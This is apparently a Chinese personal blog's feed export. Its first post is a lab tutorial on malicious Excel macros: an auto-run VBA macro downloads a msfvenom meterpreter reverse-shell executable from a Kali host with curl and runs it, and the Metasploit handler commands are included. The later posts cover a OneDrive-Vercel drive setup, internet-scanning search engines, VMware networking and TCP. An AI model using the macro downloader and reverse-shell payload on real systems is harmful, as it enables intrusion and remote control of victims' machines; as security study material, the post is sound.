    <id>https://blog.anineg.space/2023/04/02/officevba/</id>
    <published>2023-04-02T04:36:21.000Z</published>
    <updated>2023-04-14T08:16:29.605Z</updated>
    
    <content type="html"><![CDATA[<h1 id="讲在前面"><a href="#讲在前面" class="headerlink" title="讲在前面"></a>讲在前面</h1><p>很久没有更新啦，自从12月新冠开始再加上过年和开学考试<del>再加上亿点点的划水</del>，不知不觉就过去这么久了。那么今天刚好开完了社团的分享会，也一起在这里更新一下内容，也算是作为这次分享的记录了。</p><hr><h1 id="什么是宏？"><a href="#什么是宏？" class="headerlink" title="什么是宏？"></a>什么是宏？</h1><p>Office宏，译自英文单词Macro。宏是Office自带的一种高级脚本特性，通过VBA代码，可以在Office中去完成某项特定的任务，而不必再重复相同的动作，目的是让用户文档中的一些任务自动化。</p><p>Visual Basic for Applications（VBA）是Visual Basic的一种宏语言，是微软开发出来在其桌面应用程序中执行通用的自动化(OLE)任务的编程语言。主要能用来扩展Windows的应用程序功能，特别是Microsoft Office软件，也可说是一种应用程式视觉化的Basic 脚本。</p><h1 id="如何利用？"><a href="#如何利用？" class="headerlink" title="如何利用？"></a>如何利用？</h1><p>我们创建一个启用宏的excel表格，例如<code>值日名单.xlsm</code>。</p><p>点击<code>视图</code>-<code>宏</code>-<code>查看宏</code>，在这里创建一个<code>AutoOpen</code></p><p><img src="https://img.anineg.space/vba2.png" alt=""></p><h2 id="1-弹出计算器"><a href="#1-弹出计算器" class="headerlink" title="1.弹出计算器"></a>1.弹出计算器</h2><p>在弹出的VBA中，修改为如下代码，点击运行，即可弹出计算器。</p><p><img src="https://img.anineg.space/vba4-1.png" alt=""></p><figure class="highlight plaintext"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">Sub AutoOpen()</span><br><span class="line">    LaunchCalculator</span><br><span class="line">End Sub</span><br><span class="line"></span><br><span class="line">Sub LaunchCalculator()</span><br><span class="line">    Shell "calc"</span><br><span class="line">End Sub</span><br></pre></td></tr></tbody></table></figure><p>原理其实就是在shell中输入<code>calc</code>，启动计算器。</p><h3 id="启动Excel时自动执行"><a href="#启动Excel时自动执行" class="headerlink" title="启动Excel时自动执行"></a>启动Excel时自动执行</h3><p>在左侧<code>ThisWorkbook</code>中添加如下代码：</p><figure class="highlight plaintext"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">Private Sub Workbook_Open()</span><br><span class="line">    Call AutoOpen</span><br><span class="line">End Sub</span><br></pre></td></tr></tbody></table></figure><p><img src="https://img.anineg.space/vba5.png" alt=""></p><p>可以令excel在启动时自动运行<code>AutoOpen</code></p><h2 id="2-浏览器全屏访问指定网页"><a href="#2-浏览器全屏访问指定网页" class="headerlink" title="2.浏览器全屏访问指定网页"></a>2.浏览器全屏访问指定网页</h2><p>以火狐浏览器为例：</p><p>代码如下，其中</p><p><code>firefoxPath</code>是指火狐浏览器的安装路径。</p><p><code>websiteURL</code>是指要打开的网页。</p><p><code>--kiosk</code>是指定浏览器全屏模式启动，也可以修改为<code>-url</code>以普通模式启动。</p><figure class="highlight plaintext"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line">Sub AutoOpen()</span><br><span class="line">    OpenWeb</span><br><span class="line">End Sub</span><br><span class="line"></span><br><span class="line">Sub OpenWeb()</span><br><span class="line">    Dim firefoxPath As String</span><br><span class="line">    Dim websiteURL As String</span><br><span class="line">    </span><br><span class="line">    firefoxPath = "C:\Program Files\Mozilla Firefox\firefox.exe"</span><br><span class="line">    websiteURL = "https://anineg.space/"</span><br><span class="line">    </span><br><span class="line">    </span><br><span class="line">    Call Shell(firefoxPath &amp; " --kiosk " &amp; websiteURL, vbNormalFocus)</span><br><span class="line">End Sub</span><br><span class="line"></span><br></pre></td></tr></tbody></table></figure><h2 id="3-利用反弹shell控制"><a href="#3-利用反弹shell控制" class="headerlink" title="3.利用反弹shell控制"></a>3.利用反弹shell控制</h2><p>在KALI（IP:192.168.80.128） 中生成<code>nc.exe</code>，具体过程不再详细叙述，给出命令行如下：</p><figure class="highlight plaintext"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">cd /var/www/html</span><br><span class="line"></span><br><span class="line">msfconsole   </span><br><span class="line"></span><br><span class="line">use windows/x64/meterpreter_reverse_tcp</span><br><span class="line"></span><br><span class="line">show options</span><br><span class="line"></span><br><span class="line">msfvenom -p windows/x64/meterpreter_reverse_tcp lhost=192.168.80.128 lport=4444 -f exe -o nc.exe</span><br></pre></td></tr></tbody></table></figure><p>现在在<code>/var/www/html</code>路径下有<code>nc.exe</code>文件，我们需要它能够在Windows上被下载，所以我们启动web服务：</p><figure class="highlight plaintext"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">systemctl start apache2.service</span><br></pre></td></tr></tbody></table></figure><p>如果此时在Windows浏览器中打开：<code>http://192.168.80.128/nc.exe</code> ，文件就可以被下载了。</p><p>回到Excel中，修改代码如下：</p><p>原理同上，就是使用<code>curl</code>帮我们下载文件，然后在cmd中直接运行。</p><figure class="highlight plaintext"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line">Sub AutoOpen()</span><br><span class="line">    Downloadandopen</span><br><span class="line">End Sub</span><br><span class="line"></span><br><span class="line">Sub Downloadandopen()</span><br><span class="line">    Dim curlPath As String</span><br><span class="line">    Dim fileURL As String</span><br><span class="line">    Dim downloadedFilePath As String</span><br><span class="line">    Dim command As String</span><br><span class="line">    </span><br><span class="line">    curlPath = "C:\Windows\System32\curl.exe"</span><br><span class="line">    fileURL = "http://192.168.80.128/nc.exe"</span><br><span class="line">    downloadedFilePath = "C:\Users\Administrator\Desktop\nc.exe"</span><br><span class="line">    </span><br><span class="line">    command = curlPath &amp; " -o " &amp; downloadedFilePath &amp; " " &amp; fileURL</span><br><span class="line">    Call Shell(command, vbNormalFocus)</span><br><span class="line"></span><br><span class="line">    Call Shell(downloadedFilePath, vbNormalFocus)</span><br><span class="line">End Sub</span><br></pre></td></tr></tbody></table></figure><p>与此同时，在KALI上需要开启监听：</p><figure class="highlight plaintext"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">msfconsole</span><br><span class="line"></span><br><span class="line">use exploit/multi/handler</span><br><span class="line"></span><br><span class="line">set payload windows/x64/meterpreter_reverse_tcp</span><br><span class="line"></span><br><span class="line">set lhost 192.168.80.128</span><br><span class="line"></span><br><span class="line">exploit</span><br></pre></td></tr></tbody></table></figure><p>这样，当Excel表格在启动时就会自动连接至攻击机，渗透完成。</p><p><img src="https://img.anineg.space/vba6.png" alt=""></p><p>当然，对<code>nc.exe</code>做一下免杀效果会更好，如果以后有机会我会在这里继续更新一下，</p><hr><p>本测试仅作学习原理探究，严禁去做违法的事情！</p>]]></content>
    
    
    <summary type="html">利用Excel就能搞渗透？</summary>
    
    
    
    <category term="学习笔记" scheme="https://blog.anineg.space/categories/%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/"/>
    
    
    <category term="靶机" scheme="https://blog.anineg.space/tags/%E9%9D%B6%E6%9C%BA/"/>
    
    <category term="渗透" scheme="https://blog.anineg.space/tags/%E6%B8%97%E9%80%8F/"/>
    
    <category term="分享会" scheme="https://blog.anineg.space/tags/%E5%88%86%E4%BA%AB%E4%BC%9A/"/>
    
  </entry>
  
  <entry>
    <title>搭建几乎0成本的个人网盘</title>
    <link href="https://blog.anineg.space/2022/11/20/yunpan/"/>
    <id>https://blog.anineg.space/2022/11/20/yunpan/</id>
    <published>2022-11-20T03:00:32.000Z</published>
    <updated>2023-04-14T08:16:44.953Z</updated>
    
    <content type="html"><![CDATA[<h1 id="Onedrive-Vercel-Index"><a href="#Onedrive-Vercel-Index" class="headerlink" title="Onedrive-Vercel-Index"></a>Onedrive-Vercel-Index</h1><p>最近在网上发现了一个挺有意思的项目<a href="https://github.com/spencerwooo/onedrive-vercel-index/">onedrive-vercel-index</a>，它可以在Vercel上部署一个属于你自己的网盘。那么相比于百度网盘，你对他有着很高的控制权，<del>并不需要担心你的资源会被河蟹</del>。那么至于网速，Onedrive给的带宽不太稳定，有时可以跑到满速，有时只有3MB/s，但怎么说也比某度网盘良心多了。</p><p>但这个网盘最大的缺点就在于空间上。现在注册Onedrive默认是5GB的空间，这显然不够用。但是也并非没有办法，我们在某宝上花个大概三块钱就可以把一个账号的空间永久提升至15GB。当然，如果你是购买了office365的话，那你就可以拿到1T的容量，就不需要担心什么容量的问题。网上还有一种教育版的，容量为1-5T，但是我不建议大家使用，因为这个账号的管理员可以看到你的文件，大家应该都知道数据的重要性，所以不要贪便宜使用这种。</p><p>最后一个问题，Vercel给你提供默认的域名大概率由于某些原因无法访问，所以你还需要拥有一个自己的域名，并把它解析到Vercel上。购买一个域名其实并不贵，如果是新用户就会更便宜了。例如<code>.space</code> <code>.top</code> <code>.asia</code>这类，新用户只需要个位数就能拿下一年，甚至在搞活动的时候一块钱就能拿下一个<code>.cn</code>域名。一个域名可以解析到很多服务器，对于已经有域名的同学来说，这个成本直接忽略不计。</p><p>因此，与我个人而言，搭建这个基本上是不需要成本的，只是需要花费那么一丢丢的时间。但是对于刚上手的同学们来说，需要那么一点点的开销，但<del>相对于某度会员或者是他们卖的那种“24小时高速下载券”来说</del>并不多。</p><h1 id="搭建网盘"><a href="#搭建网盘" class="headerlink" title="搭建网盘"></a>搭建网盘</h1><h2 id="准备工作"><a href="#准备工作" class="headerlink" title="准备工作"></a>准备工作</h2><ul><li>一台能上网的电脑</li><li>一个GitHub账号</li><li>一个Vercel账号</li><li>一个Onedrive账号</li></ul><p>打开 onedrive-vercel-index 的<a href="https://github.com/spencerwooo/onedrive-vercel-index/">项目地址</a>并 <a href="https://github.com/spencerwooo/onedrive-vercel-index/fork">Fork</a> 到自己的账号中。</p><p>打开项目中的/config/site.config.js，这个就是你的网盘的配置文件了，按照提示进行修改。</p><figure class="highlight plaintext"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br></pre></td><td class="code"><pre><span class="line">/**</span><br><span class="line"> * This file contains the configuration used for customising the website, such as the folder to share,</span><br><span class="line"> * the title, used Google fonts, site icons, contact info, etc.</span><br><span class="line"> */</span><br><span class="line">module.exports = {</span><br><span class="line">  // This is what we use to identify who you are when you are initialising the website for the first time.</span><br><span class="line">  // Make sure this is exactly the same as the email address you use to sign into your Microsoft account.</span><br><span class="line">  // You can also put this in your Vercel's environment variable 'NEXT_PUBLIC_USER_PRINCIPLE_NAME' if you worry about</span><br><span class="line">  // your email being exposed in public.</span><br><span class="line">  userPrincipalName: process.env.NEXT_PUBLIC_USER_PRINCIPLE_NAME || '此处填写你的Onedrive账号',</span><br><span class="line"></span><br><span class="line">  // [OPTIONAL] This is the website icon to the left of the title inside the navigation bar. It should be placed under the</span><br><span class="line">  // /public directory of your GitHub project (not your OneDrive folder!), and referenced here by its relative path to /public.</span><br><span class="line">  icon: '/icons/aninegtubiao.png(你的网站图标路径)',</span><br><span class="line"></span><br><span class="line">  // Prefix for KV Storage</span><br><span class="line">  kvPrefix: process.env.KV_PREFIX || '',</span><br><span class="line"></span><br><span class="line">  // The name of your website. Present alongside your icon.</span><br><span class="line">  title: "此处填写你的网站名字",</span><br><span class="line"></span><br><span class="line">  // The folder that you are to share publicly with onedrive-vercel-index. Use '/' if you want to share your root folder.</span><br><span class="line">  baseDirectory: '/Public(你要在网页上展示的文件夹)',</span><br><span class="line"></span><br><span class="line">  // [OPTIONAL] This represents the maximum number of items that one directory lists, pagination supported.</span><br><span class="line">  // Do note that this is limited up to 200 items by the upstream OneDrive API.</span><br><span class="line">  maxItems: 100,</span><br><span class="line"></span><br><span class="line">  // [OPTIONAL] We use Google Fonts natively for font customisations.</span><br><span class="line">  // You can check and generate the required links and names at https://fonts.google.com.</span><br><span class="line">  // googleFontSans - the sans serif font used in onedrive-vercel-index.</span><br><span class="line">  googleFontSans: 'Inter',</span><br><span class="line">  // googleFontMono - the monospace font used in onedrive-vercel-index.</span><br><span class="line">  googleFontMono: 'Fira Mono',</span><br><span class="line">  // googleFontLinks -  an array of links for referencing the google font assets.</span><br><span class="line">  googleFontLinks: ['https://fonts.googleapis.com/css2?family=Fira+Mono&amp;family=Inter:wght@400;500;700&amp;display=swap'],</span><br><span class="line"></span><br><span class="line">  // [OPTIONAL] The footer component of your website. You can write HTML here, but you need to escape double</span><br><span class="line">  // quotes - changing " to \". You can write anything here, and if you like badges, generate some with https://shields.io</span><br><span class="line">  footer:</span><br><span class="line">    'Copyright © 2022 &lt;a href="https://anineg.space/" target="_blank"&gt;ANINEG&lt;/a&gt;  &amp;nbsp&amp;nbsp|&amp;nbsp&amp;nbsp  网盘资源仅供学习交流，严禁用于商业用途，请于24小时内删除(这里是页脚的内容)',</span><br><span class="line"></span><br><span class="line">  // [OPTIONAL] This is where you specify the folders that are password protected. It is an array of paths pointing to all</span><br><span class="line">  // the directories in which you have .password set. Check the documentation for details.</span><br><span class="line">  protectedRoutes: ['/个人', '/(这里几个地方填你要加密的文件夹的路径，将密码存成.password文件放在文件夹下)'],</span><br><span class="line"></span><br><span class="line">  // [OPTIONAL] Use "" here if you want to remove this email address from the nav bar.</span><br><span class="line">  email: 'mailto:email@anineg.space(别人联系你的邮箱地址，不要删掉就行)',</span><br><span class="line"></span><br><span class="line">  // [OPTIONAL] This is an array of names and links for setting your social information and links.</span><br><span class="line">  // In the latest update, all brand icons inside font awesome is supported and the icon to render is based on the name</span><br><span class="line">  // you provide. See the documentation for details.</span><br><span class="line">  links: [</span><br><span class="line">    {</span><br><span class="line">      name: '主页',</span><br><span class="line">      link: 'https://anineg.space/',</span><br><span class="line">    },</span><br><span class="line">  ],//这里填导航栏上你想要显示的链接</span><br><span class="line"></span><br><span class="line">  // This is a day.js-style datetime format string to format datetimes in the app. Ref to</span><br><span class="line">  // https://day.js.org/docs/en/display/format for detailed specification. The default value is ISO 8601 full datetime</span><br><span class="line">  // without timezone and replacing T with space.</span><br><span class="line">  datetimeFormat: 'YYYY-MM-DD HH:mm:ss',</span><br><span class="line">}</span><br></pre></td></tr></tbody></table></figure><p>然后打开 <a href="https://vercel.com/">Vercel 官网</a>注册登录，然后点 <code>New Project</code>，然后 Import 你刚刚 Fork 的仓库。然后点击 Deploy，仓库就会自动开始部署，一两分钟以后就好了。接下来，打开 Marketplace 中的 <a href="https://vercel.com/integrations/upstash">Upstash</a>，点击 <code>Add Integration</code>，然后选中你的账户，再选中你部署的仓库。如果这时出现了一些选项，最好都填上勾上。等待 Upstash 创建 Redis 数据库。完成创建后，在项目的 <code>Deployments</code> 中将项目 <code>Redeploy</code>。重新部署完成后，在<code>Settings</code>-<code>Domains</code>中填写你的域名并将其解析至Vercel后，即可访问部署好的网站。</p><p>打开网站，根据网站的引导进行操作即可。到这里，你就拥有了一个自己的网盘了！</p><p>当然，拿它来当图床，我想也是很不错的。</p><h1 id="ANINEGの网盘"><a href="#ANINEGの网盘" class="headerlink" title="ANINEGの网盘"></a>ANINEGの网盘</h1><p>最后，放上我的网盘来给大家参考一下：</p><p><img src="https://img.anineg.space/image-20221120120327292.png" alt="image-20221120120327292"></p><p>网盘链接：</p><div class="tag link"><a class="link-card" title="ANINEGの网盘" href="https://pan.anineg.space/zh-CN/"><div class="left"><img src="https://anineg.space/img/favicon.png"></div><div class="right"><p class="text">ANINEGの网盘</p><p class="url">https://pan.anineg.space/zh-CN/</p></div></a></div>]]></content>
    
    
    <summary type="html">如何使用最低的成本搭建一个属于自己的网盘？</summary>
    
    
    
    <category term="随手记" scheme="https://blog.anineg.space/categories/%E9%9A%8F%E6%89%8B%E8%AE%B0/"/>
    
    
    <category term="Vercel" scheme="https://blog.anineg.space/tags/Vercel/"/>
    
    <category term="网盘" scheme="https://blog.anineg.space/tags/%E7%BD%91%E7%9B%98/"/>
    
  </entry>
  
  <entry>
    <title>ZoomEye-网络空间搜索引擎</title>
    <link href="https://blog.anineg.space/2022/10/09/zoomeye/"/>
    <id>https://blog.anineg.space/2022/10/09/zoomeye/</id>
    <published>2022-10-09T08:30:38.000Z</published>
    <updated>2022-10-10T08:45:02.051Z</updated>
    
    <content type="html"><![CDATA[<p class="p center logo large">ZoomEye (钟馗之眼)</p><p class="p center small">一个针对网络空间的搜索引擎</p><p><img src="https://img.anineg.space/zoomeye2.png" alt=""></p><h1 id="ZoomEye"><a href="#ZoomEye" class="headerlink" title="ZoomEye"></a>ZoomEye</h1><p>得益于科技的高速发展，现在接入互联网的设备五花八门。除了PC和服务器，还有路由器、物联网家电、平板电脑、手机等，甚至还有监控探头、工业控制中的SCADA系统等比较敏感的设备。这些设备被视作节点，共同组成了我们所处的的<strong>网络空间（Cyberspace）</strong>。</p><p><a href="https://www.zoomeye.org/">ZoomEye(“钟馗之眼”)网络空间搜索引擎</a>正是一个检索网络空间节点的搜索引擎。通过后端的分布式爬虫引擎（无论谁家的搜索引擎都是这样）对全球节点的分析，对每个节点的所拥有的特征进行判别，从而获得设备类型、固件版本、分布地点、开放端口服务等信息。</p><div class="tag link"><a class="link-card" title="ZoomEye 是什么？怎么用？" href="https://zhuanlan.zhihu.com/p/19710755"><div class="left"><img src="https://img.anineg.space/zhihulogo.png"></div><div class="right"><p class="text">ZoomEye 是什么？怎么用？</p><p class="url">https://zhuanlan.zhihu.com/p/19710755</p></div></a></div><h1 id="其他网络空间搜索引擎"><a href="#其他网络空间搜索引擎" class="headerlink" title="其他网络空间搜索引擎"></a>其他网络空间搜索引擎</h1><p>目前国内外的网络空间搜索引擎有 shodan、zoomeye、cnesys、fofa</p><h2 id="Shodan"><a href="#Shodan" class="headerlink" title="Shodan"></a>Shodan</h2><p><a href="https://www.shodan.io/">Shodan</a>是目前最为知名的黑客搜索引擎，它是由计算机程序员约翰·马瑟利（John Matherly）于 2009 年推出的，他在 2003 年就提出了搜索与 Internet 链接的设备的想法。发展至今已经变成搜索资源最全，搜索性能最强，TOP1 级别的网络资产搜索引擎。</p><p><img src="https://img.anineg.space/image-20221010164225527.png" alt="image-20221010164225527"></p><h2 id="Censys"><a href="#Censys" class="headerlink" title="Censys"></a>Censys</h2><p><a href="https://search.censys.io/">Censys</a> 是由密歇根大学的计算机科学家创立，帮助信息安全从业人员发现、监控和分析从互联网访问的设备的平台，Censys 能够扫描整个互联网，每天扫描 IPv4 地址空间，以搜索所有联网设备并收集相关的信息，并返回一份有关资源（如设备、网站和证书）配置和部署信息的总体报告。</p><p><img src="https://img.anineg.space/image-20221010164200074.png" alt="image-20221010164200074"></p><h2 id="FOFA"><a href="#FOFA" class="headerlink" title="FOFA"></a>FOFA</h2><p><a href="https://fofa.info/">FOFA</a>是白帽汇推出的一款网络空间搜索引擎，它通过进行网络空间测绘，能够帮助研究人员或者企业迅速进行网络资产匹配，例如进行漏洞影响范围分析、应用分布统计、应用流行度排名统计等。</p><p><img src="https://img.anineg.space/image-20221010164142922.png" alt="image-20221010164142922"></p>]]></content>
    
    
      
      
    <summary type="html">&lt;p class=&quot;p center logo large&quot;&gt;ZoomEye (钟馗之眼)&lt;/p&gt;
&lt;p class=&quot;p center small&quot;&gt;一个针对网络空间的搜索引擎&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://img.anineg.space/zoomeye2</summary>
      
    
    
    
    <category term="学习笔记" scheme="https://blog.anineg.space/categories/%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/"/>
    
    
    <category term="渗透" scheme="https://blog.anineg.space/tags/%E6%B8%97%E9%80%8F/"/>
    
  </entry>
  
  <entry>
    <title>桥接模式、NAT模式和仅主机模式</title>
    <link href="https://blog.anineg.space/2022/10/05/vmnet/"/>
    <id>https://blog.anineg.space/2022/10/05/vmnet/</id>
    <published>2022-10-05T07:37:35.000Z</published>
    <updated>2022-10-05T09:08:55.671Z</updated>
    
    <content type="html"><![CDATA[<h1 id="虚拟机网络"><a href="#虚拟机网络" class="headerlink" title="虚拟机网络"></a>虚拟机网络</h1><p>在VMware中，虚拟机的网络连接主要是由VMware创建的虚拟交换机(也叫做虚拟网络)负责实现的，VMware可以根据需要创建多个虚拟网络。</p><p>在Windows系统的主机上，VMware最多可以创建20个虚拟网络，每个虚拟网络可以连接任意数量的虚拟机网络设备；在Linux系统的主机上，VMware最多可以创建255个虚拟网络，但每个虚拟网络仅能连接32个虚拟机网络设备。VMware的虚拟网络都是以”VMnet+数字”的形式来命名的，例如 VMnet0、VMnet1、VMnet2……以此类推(在Linux系统的主机上，虚拟网络的名称均采用小写形式，例如 vmnet0 )。</p><p>当我们安装VMware时，VMware会自动为3种网络连接模式各自创建1个虚拟机网络（如下图）：VMnet0(桥接模式)、VMnet8(NAT模式)、VMnet1(仅主机模式)。此外，我们也可以根据需要自行创建更多的虚拟网络。</p><p><img src="https://img.anineg.space/image-20221005153913571.png" alt="image-20221005153913571"></p><h1 id="桥接模式"><a href="#桥接模式" class="headerlink" title="桥接模式"></a>桥接模式</h1><p>VMware桥接模式，也就是将虚拟机的虚拟网络适配器与主机的物理网络适配器进行交接，虚拟机中的虚拟网络适配器可通过主机中的物理网络适配器直接访问到外部网络。简而言之，这就好像在局域网中添加了一台新的、独立的计算机一样。因此，虚拟机也会占用局域网中的一个IP地址，并且可以和其他终端进行相互访问。</p><p>桥接模式网络连接支持有线和无线主机网络适配器。如果你想把虚拟机当做一台完全独立的计算机看待，并且允许它和其他终端一样的进行网络通信，那么桥接模式通常是虚拟机访问网络的最简单途径。</p><h2 id="示例"><a href="#示例" class="headerlink" title="示例"></a>示例</h2><p><img src="https://img.anineg.space/image-20221005170013772.png" alt="image-20221005170013772"></p><h1 id="NAT模式"><a href="#NAT模式" class="headerlink" title="NAT模式"></a>NAT模式</h1><p>NAT，是Network Address Translation的缩写，意即网络地址转换。NAT模式也是VMware创建虚拟机的默认网络连接模式。使用NAT模式网络连接时，VMware会在主机上建立单独的专用网络，用以在主机和虚拟机之间相互通信。虚拟机向外部网络发送的请求数据”包裹”，都会交由NAT网络适配器加上”特殊标记”并以主机的名义转发出去，外部网络返回的响应数据”包裹”，也是先由主机接收，然后交由NAT网络适配器根据”特殊标记”进行识别并转发给对应的虚拟机，因此，虚拟机在外部网络中不必具有自己的IP地址。从外部网络来看，虚拟机和主机在共享一个IP地址，默认情况下，外部网络终端也无法访问到虚拟机。</p><p>此外，在一台主机上只允许有一个NAT模式的虚拟网络。因此，同一台主机上的多个采用NAT模式网络连接的虚拟机也是可以相互访问的。</p><h2 id="示例-1"><a href="#示例-1" class="headerlink" title="示例"></a>示例</h2><p><img src="https://img.anineg.space/image-20221005170142024.png" alt="image-20221005170142024"></p><h1 id="仅主机模式"><a href="#仅主机模式" class="headerlink" title="仅主机模式"></a>仅主机模式</h1><p>仅主机模式，是一种比NAT模式更加封闭的的网络连接模式，它将创建完全包含在主机中的专用网络。仅主机模式的虚拟网络适配器仅对主机可见，并在虚拟机和主机系统之间提供网络连接。相对于NAT模式而言，仅主机模式不具备NAT功能，因此在默认情况下，使用仅主机模式网络连接的虚拟机无法连接到Internet(在主机上安装合适的路由或代理软件，或者在Windows系统的主机上使用Internet连接共享功能，仍然可以让虚拟机连接到Internet或其他网络)。</p><p>在同一台主机上可以创建多个仅主机模式的虚拟网络，如果多个虚拟机处于同一个仅主机模式网络中，那么它们之间是可以相互通信的；如果它们处于不同的仅主机模式网络，则默认情况下无法进行相互通信(可通过在它们之间设置路由器来实现相互通信)。</p><details class="folding-tag" cyan="" close=""><summary> 参考文章： </summary>              <div class="content">              <div class="tag link"><a class="link-card" title="桥接模式、NAT模式和仅主机模式" href="https://blog.csdn.net/swadian2008/article/details/109518783"><div class="left"><img src="https://img.anineg.space/csdn.png"></div><div class="right"><p class="text">桥接模式、NAT模式和仅主机模式</p><p class="url">https://blog.csdn.net/swadian2008/article/details/109518783</p></div></a></div>              </div>            </details>]]></content>
    
    
      
      
    <summary type="html">&lt;h1 id=&quot;虚拟机网络&quot;&gt;&lt;a href=&quot;#虚拟机网络&quot; class=&quot;headerlink&quot; title=&quot;虚拟机网络&quot;&gt;&lt;/a&gt;虚拟机网络&lt;/h1&gt;&lt;p&gt;在VMware中，虚拟机的网络连接主要是由VMware创建的虚拟交换机(也叫做虚拟网络)负责实现的，VMware可以</summary>
      
    
    
    
    <category term="学习笔记" scheme="https://blog.anineg.space/categories/%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/"/>
    
    
    <category term="虚拟机" scheme="https://blog.anineg.space/tags/%E8%99%9A%E6%8B%9F%E6%9C%BA/"/>
    
  </entry>
  
  <entry>
    <title>TCP协议传输数据还原测试</title>
    <link href="https://blog.anineg.space/2022/10/04/tcptest/"/>
    <id>https://blog.anineg.space/2022/10/04/tcptest/</id>
    <published>2022-10-04T06:02:07.000Z</published>
    <updated>2022-10-04T07:10:44.680Z</updated>
    
    <content type="html"><![CDATA[<details class="folding-tag" yellow=""><summary> 相关原理： </summary>              <div class="content">              <p>TCP（Transmission Control Protocol，传输控制协议）是基于连接的协议，也就是说，在正式收发数据前，必须和对方建立可靠的连接。一个TCP连接必须要经过三次“对话”才能建立起来，其中的过程非常复杂，我们这里只做简单、形象的介绍，你只要做到能够理解这个过程即可。我们来看看这三次对话的简单过程：主机A向主机B发出连接请求数据包：“我想给你发数据，可以吗？”，这是第一次对话；主机B向主机A发送同意连接和要求同步（同步就是两台主机一个在发送，一个在接收，协调工作）的数据包：“可以，你什么时候发？”，这是第二次对话；主机A再发出一个数据包确认主机B的要求同步：“我现在就发，你接着吧！”，这是第三次对话。三次“对话”的目的是使数据包的发送和接收同步，经过三次“对话”之后，主机A才向主机B正式发送数据。</p><p>QQ的文件发送是怎样的过程呢？通常，发送文件的计算机首先要通过消息服务器将其IP地址发送给接收计算机，当接收计算机同意接收的确认消息反馈到消息服务器后，消息服务器将据此设置好文件传输对话。随即，发送计算机与接收计算机就会在确定好的端口范围内，建立起TCP或UDP连接开始文件的检索与传输。</p><p>在默认状态下，QQ优先采用了UDP（User Data Protocol，用户数据报协议）协议传送数据，而对可靠性要求高的数据通讯系统往往使用TCP协议传输数据。与TCP协议不同，UDP协议并不提供数据传送的验证机制——在整个文件传输过程中如果出现数据报的丢失，协议本身并不能作出任何的检测或提示。因此，通常人们把UDP协议称为不可靠的传输协议。 UDP协议适用于无须应答、要求时效的软件使用，这样的设计正好与QQ追求的目标相符，所以QQ优先使用了此协议进行一切功能应用。但是，由于UDP协议具有不可靠性，常会因种种原因导致消息或数据的发送失败（很多时候会发现发送文件给对方接收时，对方根本收不到要求接收文件的消息。或是发送聊天消息时，对方根本没有收到过消息）。显然，UDP协议由于排除了信息可靠传递机制，将安全和排序等功能移交给上层应用来完成，极大降低了执行时间，使速度得到了保证。QQ在数据传输上更注重实际性能，为了获得更好的使用效果，往往可以牺牲一定的可靠性。因此，使用QQ来传输数据，在很多时候就成了一个“不错”的选择。（来自互联网）</p>              </div>            </details><h1 id="测试环境："><a href="#测试环境：" class="headerlink" 